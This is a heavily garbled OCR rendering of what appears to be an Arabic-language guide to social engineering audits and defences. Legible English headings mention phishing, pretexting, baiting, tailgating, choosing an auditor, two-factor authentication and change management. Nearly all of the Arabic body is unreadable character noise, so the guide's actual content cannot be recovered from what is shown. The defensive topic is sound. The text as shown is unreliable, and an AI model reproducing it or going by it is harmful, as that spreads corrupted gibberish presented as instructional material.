(jl 4-lJjll £-3 J] <^Lfcij (j^ ^ 1^ aJlla (_£^)^.l 6^>-<» (j^J ^^-C- jVI 1.^-1 L_LujI lil 6^^Jjoj" ;< . lllall (J^J ^3 l£^>^ *^>* 

lU J^ cil^Lojj 

L_fl jjoj li& (jl 6(_£,lLai" |(JlS C— Ll^ 4 J ^A. ^LolLJI <J jL^. La«jJC- UjI^J AjJaSj ^JJ ^j) tiLui j Jc t . lllall ^jl jl La£ ^Vl 1^ 

"? J^Lui* t^^^j tc^ILiaa (j* .J <jjau3U £$ ^<JI 11a Jl L_iUiJI 5J jU^ Ci^S lil JjJail jL ^W->j 

ij aJ ^_U____a1I j 4iL__ll <Jc- IjjJl] <> _5-^l ^cJi l_JjJlLg £jJaj laJ > uJ L-lila li& 
liA L£^JJ (jt (J-***^ l> ■ 4 "^ a f^J^J "J^ai J---i J^ J*-*J' t5 Sl 'V^UxIl" ^Uj^ajVI ^Ijl 4_jLg_ill J j£lj ' J*Vl CS^ 1 

CljUi jIslaII lil Jj^'^ ^^aJ ^jl t . inj ;4Jla _4_i^alk o jC^ll ciUll 4_L^a3! dlli ^jSj ^3 CjUi oi^ jl ^^jill ^C^3l Jlxui C^JC JaI 

(jjLt.nl a] 1 lil liLa 1^$ j±\ AjjI j ^ jJjllLoJl liA ^ L_j|jjaVI .Ajtxi (Jclijj du£ ^ill ^j^i^ /Ml life <i^all dlli j l^aaJLujJ C-ulSa ^^1 

iAaj (jl Ld I jjojI Lg ^<JI tilli ^1 L_i&i j cJjLii ^c^3l Jlxui j jjoi (jjJj 

,<Kju1a]| t . Ujuj 4j J C^i^l ^cIIaII (jlSj .4_^jli3l J^J ^1 *^ ^-^J ( ; lllaSI (J^J ^ ^LJ^ ^ UJ^ cJ^ - * 1 *-^ clA^ 

^jCr t a>^<U a ^ Iklujj 4ilj ; j^UaVI (^^ic ^^^juj (_^l (^cllallj 4(J>ixJlj t^jjjlUl Aj^L^g ^^J ^^C-LxU^VI ^J" <ill ^ l^ljaLj Ld LJlc. 

(j^» C5^^J ^'^ a P I^IjuJJ ^fl ^^lll Cjl^Jj£l3l (J j^. tillilg ja! S JAaJI (^^l^VI (^^C- jll <jajLjjaj ^Lj c^iJl (jl^Jl li^ .4 Jjlla^ll diUi jlx-<Jl 

,L_fl J^JI ^1^ L_fljj^l3l (JA fJbSLu Q\ ^fiucudl\ 

^q'll la j jl^a (j-d L^jLk jL^aj'VI j^J-« ^ ^ jl^ .JUJI JJAaII ^cLaui djil£ L^IIaxIojI ^^1 Ajujill CjI jjjaall/Cjlx^.1 ^ 

^jl ^ill L-jjUal! liA Ai^J t-LuiUJl ^jLuSI (^laju ^3 ^liUJ -C 5 jlaiJI SjbVI ^-jli J^l liA ^ djUHaJI (j^ajl 
(j-o Sjjij^ll cjUI^^JI ^1«JI ^ ^j^j (j^akjuj ^ djla!>lxJI < . u£ ^jc. < . dlaj ^^lll djUi ^1*^11 Sjjj^IxJI 4_xuk3l <ill j^j 

<£jjuo3! ^jojI AA^uz ^l A ^1 ^ U^. ^aJ L_flj*l^Jl ^ ^>^VI L_fl^)ia3l ^^Ic (j^a^jaJl ^j) AA^uz .^JujIj (J^)^. iS^Jl ^^W^^ 

^^ic <Jj^.VI ^J^a J ^^Jc ciSjjJa ja ^cLuoS J-djJl L-lawL^a du£ lil . L-LuAid cJ^^ "LjL^VI ^^^C L^la j-<J| ^cLaaJ ^j) (j^-AJ LjJJ^Kll ^alxla] 6^x>Jl 

ui "ji" .^iii ^jjj lii llj pi jjJi ^auaij jl^ijVi j1*>ji ^ j&i ui c^i" ^u..^ cjVuji ^ .cjuiyi 6 i^ 

oi^ lP 3 *-? s-^aj info@company.com ^.ji ^J^jj j ^Uj c^J&lL J ^joij V lAxjjI 

.4jc>1 ^-vNfl 4_jojA1^J| J j^-^ ' " !>lj^Ia Ua jjuj ^la^J q\ ;djL<i jlst^Jl 

(jjjUll ( ^ 5 lc (J jj^^J] rola^VI ^jjj^i^Jl JjS a laJLujJ Ljajl j& A_xuS JSI jlil diUi jlst_xJl <J*^ C? 1 ^^ ^->.>i dij^i 

^ CjSjI! t ■ UjuoJ Jfll L^Jl "dlJ^Jl" j!^Lk l^jlla ^JJ ^1 diU JI jlaJJ .AJJ^ "<-<^ J^lSI" CliU jl*^ll oi^ Jc- L-Lj&l] 

m AlJ\ (j* L_lliaJ Jll Aj^U^JI 

tjjila ^«J| iiiiill 3 mi Ujb L-Laul djlilb A kalll oi^ .l^i^UaV JaJa^j ^1 CjU jIslxJI J J^lll SE ^^"^ li& JC- t fljjklll 

5jJJ Jc ^^aJl 4JaLaUJ j^^ II L_fl j^. ^jj^ CjLg jlst-xJl (J^asU ^IjJuJ (j!)Ual Jc OJ^IS (jj^J (jl t . i^^L^xl\ A^.\ jj* ^lll tillj* LqJjuj V 

a L_fl3 jjj ^jl V lAA^j CjLq jlst^Jl A_x»ja 



(Keeping Software Updated) 

Jc J^la (jj^J (jl ^ ; 1> J J-aC- J .^^-^^ J JJ(£ CliUi jIslxJI (J^axJ ^IjJuJ (j!>Ual Jc 6J^IS (jj^2 (jl ^ ; J dil^jjaJl *th» ^ J 

^jl t . lauj PDF >LaL> (JUajjoilj cJLujjI Jc Sj^lS (jj^j* (jl t . .l_ijj3I (JjjUcj t^jjj^lVI ^^>^l cJjLojjj ^jIa ^Lijl ^Lkcl 

.(JjjuLJIj (Jj^j^JIj ^!>Iasl!I L_fljl^JI Jc 3j^2kj Cj^lll Jc Ij^la 

LaJJj 6(j^>^ >'MI <JaC 3jI^J (JjS2 (jl (j^J CllLa jlst-xJl oi^ (j-d (_^l (jC ^Ij^VI (jl (jVI (_5^ dbuja jj jll JaUill (jli 6(il3i ^ 

?Ajl^_i3l (j* j^Jl (JjjJ j A m ^ diUi jlst-d (jc ^-IjaVI 3j^)^. ciL^l Aj ^ba3l Ld .Ajj^ jj^kJl 

^j^l j 6 JJJ^J* »i^l dljjljl A>la>ljujJ Jl jj* V ^g-'u.nJ dljl^ ^31 CjI^jjoJI (j-d Z60 L>^ <LLoia3I J .i^U Will Jc Jali^Jl 
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L5 1^. ^1 ^jflj Ai^jjaixJl dULuiajlt till} ^I^JjojI ^j) ^aiaJl £A .LoA^j <LAjlII ClA^JuJajlt (illj J L_astjJa3l Jalaj (j>» CjUaH (jfL ^aJ (jt CjIjjujlII 
.^jt-LoJ (j£-*J V CjLojjjjiill <Lail^a A aiaJlj tAjjUll (jlj,laJlj tdAi^sLxJl J^ Sj^ 3 UJ^ U' llA^ CS"^ djLaa^l (jx» <JjI& .AAxJ 

l^jj dLiawG^)Jl (j* A m ^ AjtiaS li] .^-Lg A-iJUlSI <JiiVI Jc- t^g La) l_j jflj £SjJ La jac CjLi^^JI (j-a dj|jl.l^VI Cj.laJ .dtjj,lau3l l_jI jaJl 

. jjn^N 4_jJajC <Jal ^(^5-^ J) J J^^l j^VunJ V ^ lir^ 
^acO (j* AjJlx*. J J ftP*. IE 6 *M*J^ J-^l (3^*-^ La^ic ^jLlII Vninj ^-^j La djl^jJoll (jt JL* ^31 <K ui^l 

J t"ia.**i<l CjU» jlst^Jl (jxa <aUaS (jxa ^J^xJl £x» JaSS (jjjj'VI (j^i& . jj^-AaJl A^IIaII CjI^xjI! (j>» CjljjulaJl 4jJ § C5^J^' -^""^ J^JJ-^La 

,4_J^)2kJ c£^)r^ La (JjjUII J^-J^-l Jc- Ij^la (jj^J (jt < ; .CjLg jlx-<Jl ^Ijjuj (J^Uaj Jc Dj^lll <^LJ (J' J& ttilli ^C.j 6 J-aVI ^al j .AIjIjolaH 

.dLa^jJl L— Lj^JJ (j^alaJl L_ila jaII ^Vlnn c*lj| ^j* ^U3l ^\j\r> ( . laJ tjii lS*I 
FOXlt jf 6 ^>^ l><^ gala J jt ^ajj^ (Jr* Jt* '(J^ J^J^ - * f IsUjujJ A£jjuo3! (jt ^LujaU L_aJa jxJl ^IS tit ;A1jLuixJ| CA J 
V CjLlSwd^Jt (JA Ajtiaklt £>i& ^jt j5t V Lt .^jj'qjl mull ^liiaU ^ jflJ L_fl jjoj l^jli jJt ^J^J Jj^J ^^jlt LjAault diti <^J-^ 

6 jU^. .^laail <jJajC Jat Ja j^U cJ^^ J^L^)Jt ti^ ^j£3 j 6^j£U3U 6^ dit^su l^J djtjtAx^Vt (J^axJ -( j^UaVt ^glc j£Laui ^t <^.t jJ 

^ j^Jt ^ AJUlt <kjJt (jiUal O^aj V 4Jli ^llftll JiloaJ ^3 tit jSl j ^3 Cjti Jt jj V CjU jIslxJI tilt 
^1 1^ A l . ujujj ^jt ^j£-<iJj (JaslSI J^^^ i^.lj 4iV <-<ijlLJt ^laa a ^^^ic <Jj^a* <jt j^JJ c^i^t ^tj L_ fl^)Ja <J^aw<» ^x»t^)i3t ^glc JalLaJt 
^j) (j^J (J-^l cJ^^ (jg& A^\1a (jj^J (jt t^ 4 <Lj lalt £L*t^)ill ^ajujJ ^^jlt 4_ilkUt CjLi^-ixJtj i— iLuiLiuJt JjiistJ .<-<ilxJt dilaiilt ^xlaa o 

.4_iLkt Jt djV j^ilt ^t jj! t.ii»»ijj <jU11 

^jL^cVt Ailij t^^2». ^Jj^aJ L_fl jjoj CjtjJAjlt i>i& Jlxi C . ll £j jt ^aJ > iQ"^ >'Mt ^^-LdVt ^^C- jit ^jlaJ A^jjaJt dujillt tit ttilli j 



(jt ( . Lao L_ala j^Jt (jt dlia. ^^)aJt oUslaj Cli3j£jajVt Aj^aj) V Ut .Uak ^ij* V . jJjiaall CjUa jla^a ; jA J^ilU jJ^aJt j AiLd ^^^juj JJ^i 
^t.Vs loaV tAxlaixi (jj^J ^la jxJt Ja^j (jt ^^ic ^cLaaJ 4jJaljxl\ Ja jiaaJt (jc Cj^aJt Ut .A + B L$ J^-^ J-^a jll (j^ tit X Jj^ 

jJjUJjuJt £>i& ^)lajt .6JJC- (j>» ji&t UjjjjJa tilli (jj^J UiAlc. (_^^il3t jJ^fljlt 
Jxij tiU» ?tiL <j^aLaJt JjJ>Jt A <iKj (iUUaJj (g ^qV^I ^jjjjj^)3t JjS (j-d dit jC^ <Ja».t (j>» (J-**^ 4j> (j^aauai ^5^^ Ui^Ajc L-Luj1 IaI) ^^)3t jA Lo 
?jlaxJt jt (^g-^lt (j-d C5^) J J^^ ( ♦ ^Kl? ^J^*^^ L>^ ^-fl J > ^Jj ^-^J J ^ j^ AjJ (JjjJ (_^ilt (j^aauaJt (jj^J Ld^JC 

(Jjjjoj ^gic .'LaJ^lL jjstjaJt ^J^cLaix j L_fl J^lalt oi^ JiLd ^ L-JjujI Ldlt J^)3t ^j^aJil c aJa jxJt jjjlajlt CjUa jjn^ a ^cLoij (jt (j^J 

;ti^ Jia j^JJ ^ CliUa A\ ijliall 

Cot jlaaJt ^Jjt ;4_ilat.Ut LliljLiJt jt CjU» jlst^Jt ^jlau] Lot JLuxiVt ( ; lilaljj ojt^Vt ( ; u£ o (ja ^^-^J JL^jVL Lg (j^aa^joi ^ala tit 

: ^3U3t 

uj^ ^ V .<^>t j (person's employee ID number) ^ cr^^^ & "1 

(j^ L_ji!aj ja (^ilt ^ jjjUL ^^lxiJt (project ID number) ^ jj^^^ ^La£i t^ij^sLilt djU jl^Jt ^J^. J jj^aaJt ^ -2 

ojj^o ^jLi (jt (j^aa^jaJt (j>» L_jilat ;<il3i£ (j£j ^3 tit ^JLlLgVL ^3 ;^-LaJj 2j 1 clhH jL*^^ ^ CjLd jla«-xJt ^^ic <J jj^aJt ^aJ tit ~3 

til jjAa (ja (jiVt L-jliaJ ^jjjSI) ^JJJ JLoj jL 
>( ^IxiVt ^JCj cJj^-^ (jt (j^J ^^t L_flj^)Jajt <J ^Lj^lj (Jj^ tiLo Ai^st^J (jjlaL^Jt ^cLaiJ (jt (j^J ti^ (Jlxi 4JaJjudJ CjIAjJjI 



(Learning From Social Engineering Audits) 3jpUL^V) i^UfSI JjSu cjUIap ^> ^l£Ht 



J^LL ^ajL dlia* .^^Ull tilLajJ ^ (^ilt j ^JJjJalL AjLtloaVlj ^a jiJ tdjlfl t^Sflt jlat ^.t Jjo£ ^aJ (jt dlSj ^t ^ tiLJ dj^. tit 

jIjaj c^^J t a*^alt ialij jlS tit U Aij^xJ ^UJaVt ji-ftJ jLlkVt ^ ^ jilt tiA .^Ig^Vt jblkl (J^^suj ^5 ttiU jJ-a II ■» Jt 

cSIjSaj Aj^Ui^Vt A^^St (JJ315 "jLlkVt" lS^ "jjo£3! d^ao (jt " jUajjt (> V^J ^ujloib tcilLoxJ AjjouIU A^SLi ^ C5 jill c jj]aJJ . jj>j 

.(jtjlkVt Cjj^a*. JjS (Jasi i kdl j A£jjudll ^l^Vt jLl^-t (j>» 
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m cA i\ ui^JI JjJaal jLii^.1 d^Vl a ■ u II cA t^I j^j j-*VI (ji*^ ^-^c- Aj.t.»Lt.»Vl 4_lluiVI o^xj Jc < . uaJ AJLill ^LuaiiVI 

.AjcI al^Vl <jojA^J| (jJiSAj Lq ^3 .la^. (jjS di Lo L_fljau ^j) t . t4_icLal^.VI <jojA^J! CjI*_^.Ija (3^* J J J^^ (Jj3 



Understanding What A Social Engineering Audit Is) AjpUL^VI iuuIfSI JjSjj j* U ^ 




: C5 A C5 -LoVl (jllJlj 4jJ±kJI LS C>\ ol^VI 
>C5 laVl all/jibJI lg» JJJ 4jJ jjISIIj 4_S<£U.Vl t^Ua tft^lc- 

# JjIaxJI JJ^a jt ^Aijjoj 4^-lj^V (JjjJ j S^cLolaH Lftjb ^^-LdVl £J>.lj-<Jl L_fllA&l 

. C5 lilaJl g all Jc ^jiajflJ V J jj£3I (jx» (_3^aj AjaI La j-ac t * a J*^ ^ (JiLlxJl 

CJ^U jJjJall] dlLa jl*_xJl tillj ~ iklLuJJ JJUJJ lS^-^I j' flAgJl" (jC- CjUUJI £-^J (Jj^* J J^ L>* JiH^ J**^ (j^AxJl 

<j* ^LJ * j£t> ti* .(jAtill CS^ jl^C-VI J jM C5^Vl (J^^l lifrJ fL£3l <JJ> J^ f J>&^ 

(Setting Audit Goals) J^^ 1 

AjuJa jj <1 ^cxujjj ^ill li^ jjc ILgj Jl jj V (jl** ^ ^^Vl j ^^IkVI jLJl ^ ial j^JVI <Jc L^jli^Jl ^Ul^VI (Jjj V^ a\\ 

(jc t *^ui^\lj J jj^a jll l^l^klojl (j^-ftJ ^^jII e-UJiV! (jc djUa^.^LJl (jJj^J c^-^ ^ (^cUu^-VI (Jjj1^-a3I 'Vb jjoj AjuaII" ^ iTqj'q^ 

/ > ^>Q^ La j^JJ U^x» 6<^Jjal3l Cjlcli^ C *<!■>> >i jl S J^-i3l 

4_iC.U»l^.VI <juj^J| (JJfl^J ^ l^iljli.1 ^aJ ^^ill CjI^JjoJI ,^ljaVI (j^^JjaixJl (J^a^)^. £A ^jl uj^ L ♦ ^4^1 Cj|^i!l3l ^^ic jj^ix-SI 
Asu <j| cillj^VI J^«-!l <^ ^ .6 jaill (jlc. j <S£j^uJl (Ja. J^JI ialaj ^ill L^la jjo!\ Jj^aS jl jj^lsu Ullc. 

.djS jll cilli ^ ^ ii^l ^ ULaf (JjjUII jj£I ^jVl cj! <l^JI I jlaLuj jjill ^<JI ^V^a ^ci^^l 

C ? *n^> AjjoUJj <iakj 11a L— lLt^ Ul \u >*>1 . jU3l ^ > >ij V ^jjila j-<Jl ^jl ^jUuiaj J^^Jl i^Lj (jl < ; 1> J L-fljl^ a\\ ^^cLdl^VI (jjJ^i^Jl 

*\ iklLujI ^aJ (jjill (j^a j>Jl ^UjjujI ^jJal V LI ttilli AcLojI (jl (j^J Lft 6 J (j^ 3 J*^-} ^1*JJ V (JjS^ill (jl ^^IaslI] (J jSI 

4^jjoJI l_j j^l (jc ^jjj^j j^jl ciii^ t^LuoaVI ^Iti (jjiAjJaj ^1 4^1^ Cj^cLuj (jj^i (jl (j^J V <^iJl CjVI^JI 

. JJAJJ (jl L_ala da^juj ^^jll Cjlcli^llj tCjLajLjjaJlj tL-JJj^ill 

; C _^A ^-LaLiJjll diVl^Jl si^J 10"0 (j^ J^*^ J J^H2 ^ J^ (j£x<J! £a ^I^aI JA^j Ajc .^UijJ jjll 4jc.U»1^.VI 

Lui tlAl^ J^^S V (JjiSl (JjjUI t— lULo ^jfl jl ^jjj^IVI -^>J! Jj^J ^ di!>L^a jll ^^Ic jUL (j^!a j>Jl ^IS tit La AjA^J 

Cjti 4_JjL^i3l (JIacVI jl a J L uj CjU» jlst-d JlA^lj dljjljVI 4£jjuj Jc 4-lJjJl Jl t—fl jjuj L_ala j>Jl (jl£ tit La AjA^J 

J>JI liA J Ai^all 

Ajj^kjaJl (j£LdVI jt J-^l J (Jjjila J-<JI (j-a (j^akjaJl jl c fljl^Jl (JJ^la (jc l^ilc J jj^^Jl (j£-oJ ^^1 CjLd jlx-<Jl jIaLo AjA^J 

.(Ajjlgill AjIc^jII jSlj^a j A^tjJ CjVL^s t^AlUl) 
,(jxiVI (JjjI^)^. j 6A£^pJl jIxjulLojI 6^.^.1 j tdlt jjal^t j tJliaVI jLlkl (JJ^la (jc L_u£a3I Lu^ ^ (j*Vt (_5 jl>.>i.<ft "^•^^ 
6<J JaxJI jj jjj^ Jc ^h^lmV L^Ia j-<Jl c5J*j IgjLi (jxi ^jlt Clin^ DVD J' USB (J^ (^cLdl^VI (jjjAi^xJl ftjAfl AjAiJ 

, JIacVL (JjjLolaI] 

Lq .(jjS dl Ia^J a£jjoJI (_^a! (jjj* j cJ^^ ^IaaVI j^ <j Jj^-I ^ u^j 6 u -0 ^ j - ^^ jLlkl ^jj l_a jjoj <. JL^JI ^ "j. j 

tilli (j-d (_^l AjA^j j A£jjoJI ^\ allai a Jjjoj j!>lk (jxi ^^jouJI CjLLud^Jl ^Axi <iila j ,(jjAjjJ Ld (jjSjsu V Ullc CjI^jjuoII (jl A^.1 
4_lLaC 1 n a > >i1 ^JJ ^jl IAjI ^aJJ V (^31 ^LjujVI (j-a ^LajIs Ljajl Jxulj* (jl L_L^J i£ jjJa L_fllAAVI oi^ AjA^J ^aJJ LdAJC # Ia jLlkl AjjJ ^^jll 
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(What Should And Should Not Be Included In An Audit) JjflUlt/^tj^t J <UljJl JbLj u»j tf ill u 

^J<Q f\ AalLujI (j£-oJ ,4^jjoJI J ^jlal &J*^ ^Jd ^ ^ J^ J^ L£J^1 SAW a\\ L_fll,jAVI jbja.V Aili^xJl (jjlall (j* ^j^slSI Aa. jj* 

tcilli . f ja^ll a^Ja. 4-ka. ^1 <> ^jxll Ja JaaJl S^U L^LSlI liA J i$±^\ 

.1 V^ti Ajlajuj AjjJjjI jl <GLaJl f^J^ J^ ^JJ 
jj\S jjc. jj*\J > >i (jjjlill AiLa <jLajj| t^jiajVl (jJjl j£l Ixjj 

.AjLi jl l^^JI J jia ^alalia I 

. JLslaiU t a.^ti j| jjjV J^-* ^J^ 3 j' A^kc J ja.j Jc 4_tal ~1 iklLuji 

U» jai (Jljjolll JL ttilli £x»J .L_fl^Jl (ill^jjl ^aJ AjLi JjT.ullI (iljjjj L_fl^Jl (J^^ V l^jV L_fljltajll ^J^T* J £>,JA (J!l<i ^LlujI t . UaJ JtJJJ 

(j^lj 4L_fljjIall <J>AjljJI Ll> ^ kjj JJ^J j) t . (j^A/a <J£ . (J^asu j-G <U,j| dlj^Ja lil 4j ^Lsll L - 

.AllftVl LpaxJ J J^ajlL 

^LloiVI (j-a CjjLLljc. (JjaVil A£jjaJU (j^alaJl <Cjjaill Jtc LlljjjjVI AAaJLujJ <jl£ c flJa (J^AaII Aa. j ii"iU^Ija1I (_£Aal J 
Ajjj V j 4^jxj ciljj <S Jjiij ( a]fl jA\ Jj L_jAij c&li ( Lla jJl li* ^jla J^aLk-a <j* ^ .^J^ j-al jflVl CjISj^xJ ^UVI 

^aJ^flJ ciLai j Jc ^jl£ ^AxJl ^jl L_Lud^Jj ^-Ic jj^l J £-^JU ^>*joiJ L_ala j-<Jl ^il ,L_fl3 J^ 1 ^^ ^UaC-l j Jj^ill Jc <J jj^^JI 

^j-saliJl JJ jJU^ll Jc ^aJ^Jl liA Jc JJ^ ^jj^ (jaA^ll jj JlSj cillLJ] J^Jl ligJ <^^J AjJJ <jl JJ^ 

.<_3 

^j-d j <J ^aLkjl JJ jJJ^ll j^-^- l!^ 3 *^^ <j^aLaJ) A-i^UVl ^\ cJjJJJJ ^ajflJ lS^-J ^ J J^ l!^^ ^'^^ ^ J 6 C£^>^ JJ 

^j-g li^ ^^IjVI (jl j cJ^ 3 ! J 4-?* JJ j' ^ (J^a^Jl JJ jJJx^H jW^ 1 CS"^ JJ^^^ L>^ cJ^AaII ,C_ljjjjVl Jc jjj^.1 Jc l^jujjj* 

.<UjIjlI! ftUak j <JjJjaui ^ j^Jl j 4 j^juoll <Jj£c ^JJ ^(j^UaJl c5^jJ j) <jUjj 

J J^jll Jl c_jAi ^aJI .ajjjJIj AjS^l^Vl <j^U3I <j* jl jl<ui^U SjAo tilli^j ^ajj jjIS jj^ ^ uj^^^ 

.<jj^J|j t4_iljlxJlj <ol\ <j*U^. lI^-J^ I^A t aKj jjoi Jll cdiUaiaJl jc iLiai 
(J>^.\ J .t^L <j^aLaJl <jj jjUI! j AjS!>lkVI ^J(SJ> J^^ ^Ua31 JjJC jc c^LLj j tiL <j^aLk]| (Jjalill <Ajli j jsu "V" ^cjJal j ^JJ*J ^ ja. j 
^3 U <jj JIS dlla / kajll J jLnJ Jj| 4j( JtS i Jail JJ*JI J^a^ J fJ^^ *^la ^ o^aJj 6 jjliU ja. ^ Cjjja.1 Jll Cj^blLJl 
J tdli ik) £A .tilUjJjVI J J j^-^^ cJ^ JJAJ (jl jl^j <*-fl Jll -la jiaaJl j>» ^.LJjj JJ^J jl tiLlo jjjllll Aald l!^J (j^ 

? ( JjS^j1I J ^aaII I^-Iaj bjj (jl t . Laj ^^jll ^UJjVI Ui jLjjc-VI 
l^iila jl£ lij U AijxJ a£jj^13 ^ojujj jll Ai^laiJI j jjj^IVI ajjJI diUaj^ :(Phishing Attacks) yn^ti cjUaJt 

jjj£JVI «ljjJl J^-^- j-Q djUfta^il ^LjJa JC 

J lJjI^SI jj^ l^jbL ^jL fj 1^ gj| ji jbikl ^ [(Pretexting In-Person Attacks) ?JH^ j3*-fiM 

_ I /gJ^ (j^JafljoaJ ( — S ^joj 

4(_3jiall (j^axJ cl^ (j^ CjI£11aa1| (j* lA jjc- jl t^^Jl ^^JJ-d Jl J jj^a jll (j* l— n£ ,qj Cilia. ^ > mi jaA l(Baitillg) ^jh'^>V) 

.l^jlc ^LnaJl CjUL» Jc ^ JaJ jll 4_ia3j3I jJ^ill (j^al jSI jl USB ^J^-' -lalLijj ^aJJj 

Jl J^x^jll j^ jjiia^JI (> A^^a^ (> L.jljjiVI jaAJI JjUj ciua. ^ » ^ > n ^ajajs iTailgating (or piggybacking) 

.l) j^-^11 ^^W^W (*j^ c — ^ Jf^^ 
jjiJi jU3l j usSJl J*i3l J^jll ^jl^o :{Physical Security (Red Team)} (>»^1 J^jiJl) tf jUII <>Vl - 

,a£jjuo11 <-<»ja 

^ j ^ j^j jl JtJJJ V La j t . laj La Aj^aal <ja. jjll I^^Lla (j^asu (jJ*J Jc C—fljJa a\\ (j!>LJl ^Axi ^cLaaJ jl j^J Jill 6 JJ > *a£ <-Ajla 

,6^j JjLiLd J ^I^aII o^A (jj^J Jc J^l3 Aa.1 'S^Ja. CjULoia. ^JSAxi ^Ujjl cJj^-^ *^J^ cJ^Labd L^_ja! CjI^jjuoII jj£I j>» 6^a.lj ;<illi 
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{Choosing The Best Auditor} (0^1^)) <jj&ui! JJafll JfiiA 

Aia. ^JJ^ j *-iaSa Z50 '^U-luiV iiL^ <jl ^ Jj^ < jjj^I ^^A^ j'j^Vl j ^Saljlal AaJ lij 

c_fl jjoj c ^i3l <J1ojVI La '^Jc- jisu LgAicj ?(illal uj a ^!}L^aV AjaJl ^IjaJl (jc- JtaJI i—laall ^ VI tAjjudill cilia Ajjj ^jl (j£-aJ 

Aijj ^ji l^jLuj (j* ^I^aII s-blj ^oaILJI Ajjas ^^ic 4.LVI (j-a o^*^ ^J-* c)^ ?(3jL^1I aIac Ajjj c_jc.jj VI ^aJIjoij 

.j^UjjVI o-^js 

Jl i_ lAajj Ui^ic l^iia^x-G ^gk l_jc.jj as ^11 t_ il.iuib.nVI (j-a (j^asu j .^j^ > ^1 (j^aAall Jc jjiail <£Uui a-Aac ^bjb ^ jSj l_a jjoj dijl 

; jj (j^A* 

Jc l^jjajc ^ij Jll ±\ jA\ Ujjjc. jl tL-ikaJI ;CjVILJI tCjU^Vl <j* ^1 ^Ij^I-j (Jjjall ^ta : (Knowledge) ^ j*-Jt 
(j-alj (jjS £ll j ^Jjj (jl ajjj V ciijl ?(J a &1I 11a J (Jj^jIj ^jjS Jc £*la^JI J (jjaj^*.* ?4_icLua.VI 4 mY^lL 4-jIj-^ Jc- ^il 

CjLg jlx-all jl/ j dlVlialt j (jljjVI J ja. (j;ixa.l^<Jl cJIjjoj .cJJ^H dllaJl JJa J <Jxj^a (jJjall J (j-aVI (JaAa l^£loJ jll Ai^sc-all AiAaJ 

.<jjl13I (j* jl*-ll 6 " ' ^ Jll l3^J^ l>* . ,i ^J jaJ dijou] Ia jjjS ^a 

V ^XixJI ^ ^jaxJI ^ .^-^1 j! jo < Lu&l l jj^jj V uWV^ c> : (Experience) SjAil 

<C5 jJaLJl ^3 jl^Jl dJjijj j Aj^3 fl^h»j ( . ull mVI ^jC ^JIjjoj .(_^^>^.l (J^A^ J-<^^ ^^>f^ ^Vl^ dJ (j£J j 

^ J-<ul!I l_±^i V Ul tL^aai uj .^^.U j^j ^j^ 3 ^ ^ u^*-^ j 6 c3^ ^^-^^ l(Contract) ^*^t 

JaVI ^^ic ^j^3 j >( j^UaVI ^gJc J jJ^ll ^j-d ^J^l (JjjJ AjAlkSl C _^C.U»1^.VI (JjmYlg a\\ ^Jaa ^ ^jV ^ J^3l (jia C L^aJ ^ 

.AjjLjaS ^jc-i jl SjSlft ^ 1 $ aj Jaaa (Jjalill p-l^jj ^jjj V c>VI (ja^ .^yb^ll (,> j-^UtJI <!ljV u^j 
(j-<iVl (JaAxJI j lij ^^j^ill j (j-oVl c_ial^<i ^^ic ,^ > f >n ^ji ^jS^I ^jc ^—fl^>xj ^ill L£j! CjVI^. ^ JU^jVI (j^>^ uj 

l_jc11<JI (j-<i j;}^! jajj (jl (j£-<Ljj "(j^joJ! (j^ ^ j^pJI" <aUaj jajj <JU^j!>1! (j^>^ >*>i j j .(j> uJl lS^I U'^Jj '^aj^JI ^ cJ^^^ 

c aj£ \u<^\ ui jl l^jI^SI <x-<i dj.^MI .Aia. (jaAd i^jV ^jU^I I^a s^jl jll ^^UJI (j^laj :(Rapport) 

.lla. tilj^cLatxi <3AA j 4jUl13 ^— fl j'i^> ^ <jb Jjs«-^i dlL^aa ?(_5 jj bLo ?^>*-j£i ^\U^j 

^ Ja^a l_ic; jj ^a ttillil *?f" 'Cte^ .<^aL<JI ^Vl (j^^ CjUIasJ JjJaal t^lli diia t SE(j^j^ ^ uj^^S cl^^^ ^ Jal 
^ISII da jll ^ai^j V ^j^Loia] (j^aAxJI jc diaJI Ak; jA djl£jj^JI l^jfl £<L ^1 g\ LkVl (j* a^Ij i (Time) ^jJI 

<j| (j>i _Jala Aa.lj ^ajj <S£ b^ (j^aJJ (jl (j^J Aa.lj ^ j>» ajU j jl Aiila 4_ifljlA CjLaII^q (jl ( - ua .4 a$ a\\ dA^ ^bV 

IajIj dia jll .tSj (J^stlaaj Jj-«VI ?L_fllA^VI (j-« (jUaill AjAaJj tJajilaaallj CjU» jlst^Jl (jc bLo tlaaa - ^ (jj-^J ^ 

^ l£ ui a ~y gaJ da jll (j>» J^^ll (j^J ^ Afa. ^ab^U c_jal^l3 (^^^J ^—^ J^^ <a.bl (jl Clua L_fljjaJl Uiajl jA 

.SjIjJ .2UK31I 

Aa.l^)3lj ^>*jaLi (jl t ; iaJ ^1-^1 ^ .tiliSjjaJ ^ia > .oil (j-^VI (JaAd jbla.1 l^j jUjcVI t ; la^ ^^31 i ^11 (j-d JJa ^^c (_^ jjoj C-Laul oiA 
■^J(SJ> c5^W^I J^ 3 ] ^^yi J ^/VS Jl ^-l^o diaj ci^J 6^_a. (_^jU^a <J^ t — * J tJjJaaVI (jj^Jjoj ^^cLua-VI A uaAi^Jl (_3Jja (jl 
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Social Engineering Countermeasures 



Two-Factor Authentication (TFA or 2FA) * 

j& Lo£ j 6 jUlLj ^^^joJI (J^asu l Jt> ^ j^l j& j l^Vlm^l 4jj& (J-g (JjK >'MI (JJ^A Jju>£J ^H^J ^aJ t^Vim^l L-jL Jj <J J^^ll 

itaVl O^VI u*Vt J* ka . *^Axl<i AS^l^aJl aJjIc * y± j .J^sJI J*Vl ^La^l aJU ^^>»j TFA ^ j^>*-* 

J . ni t <Lki^j U sjIc U f^ij t^iUaJI Jl& 4 (physical token) <$A* j^j J Jllj ^1^ 1 U jajj jl J-uj j]| 

J^-VI 4_icLaJ^.Vl <juj^JI CjIa^Aj lb gajli ,JjJa 

(Change Management) SjbV) ^ 
.ad-hoc 4_iLac Aiij SjtaVI a-Aac ^Jjj jj 



Anti-Vtrus/Antl-Phishing Defenses 

Use multiple layers of anti virus defenses such 
as at end- user desktops and at mail gateways to 
minimize social engineering attacks 





Two- Factor Authentication 



Instead of fixed passwords, use two-factor 
authentication for high-risk network ser vices 
such as VPNs and modem pools 



Change Management 



A documented change- management 

process is more secure thar* the ad-hoc 
process 



(How To Detect Phishing Emails) **jJZN\ JA-jM & <M 

